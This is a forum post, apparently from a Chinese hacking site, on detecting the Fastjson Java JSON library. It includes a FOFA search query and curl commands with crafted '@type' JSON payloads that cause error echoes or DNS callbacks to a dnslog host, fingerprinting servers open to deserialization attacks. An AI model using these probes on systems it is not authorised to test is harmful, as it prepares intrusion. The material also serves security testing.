黑客仓库

最全面知识的黑客论坛,全网最强大的漏洞数据聚合仓库丨黑客网站丨黑客论坛丨暗网丨红队武器库丨渗透测试丨POC/0day/Nday/1day丨网络安全丨黑客攻击丨服务器安全防御丨渗透测试入门丨网络技术交流丨蓝队丨护网丨红队丨欢迎来到黑客仓库,您可以在我们的论坛板块进行交流和学习。

立即注册账号!
Fastjson解析库

POC Fastjson解析库

Shacker已验证会员

黑客倉庫站長

贡献: 21%
注册
09 10, 2024
消息
186
Ruby:
## 应用简介

Fastjson是阿里巴巴公司开源的一款JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象。

它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。

## 相关资产

FOFA

```http
app="Fastjson"
```

## 识别方法

如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显

```bash
curl http://192.168.2.133:32768/ -H "Content-Type: application/json" --data '{{"@type":"java.net.URL","val":"mx2guq.dnslog.cn"}:0'
```

```bash
#payload
{"a":"
{{"@type":"java.net.URL","val":"dnslog"}:0
```

```
#匹配特征
http.code=500 && "Internal Server Error" in body
```

还可以通过DNS回显的方式检测后端是否使用Fastjson

```bash
curl http://x.x.x.x:8090/ -H "Content-Type: application/json" --data '{{"@type":"java.net.URL","val":"dnslog"}:0'
```

1.2.67版本前

```
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
```

1.2.67版本后payload

```
{"@type":"java.net.Inet4Address","val":"dnslog"}
```

## 环境搭建

https://www.runoob.com/w3cnote/fastjson-intro.html

https://www.cnblogs.com/hei-zi/p/13274272.html

## 不出网利用

[@flashine {fastjson 不出网利用总结}](https://mp.weixin.qq.com/s/LZt-I3s0dQ_bK9ubEix8iQ)
 
后退
顶部